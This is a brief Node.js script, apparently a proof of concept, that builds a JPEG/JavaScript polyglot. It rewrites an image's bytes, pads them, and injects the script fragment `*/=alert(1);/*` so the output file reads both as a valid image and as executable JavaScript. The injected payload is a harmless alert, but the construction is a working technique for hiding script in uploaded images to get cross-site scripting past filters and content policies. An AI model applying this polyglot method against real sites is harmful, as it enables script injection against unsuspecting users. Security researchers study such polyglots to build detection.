text: const fs = require('fs');
  
  const a = fs.readFileSync('img/copy/copy4.jpg');
  const b = a.toString('hex');
  const c = b.substr(0, 40);
  
  const d = Array(12044).fill("00").join("");
  const e = `*/=alert(1);/*`.split("").map(function(e){
  	return e.charCodeAt(0).toString(16)
  }).join("");
  const f = b.substr(40, b.length);
  const g = c + d + e + f;
  const h = Buffer.from(g, "hex");
  
  fs.writeFile("img/out/out3.jpg", h, err => {
  	console.log(err, "done");
  });
  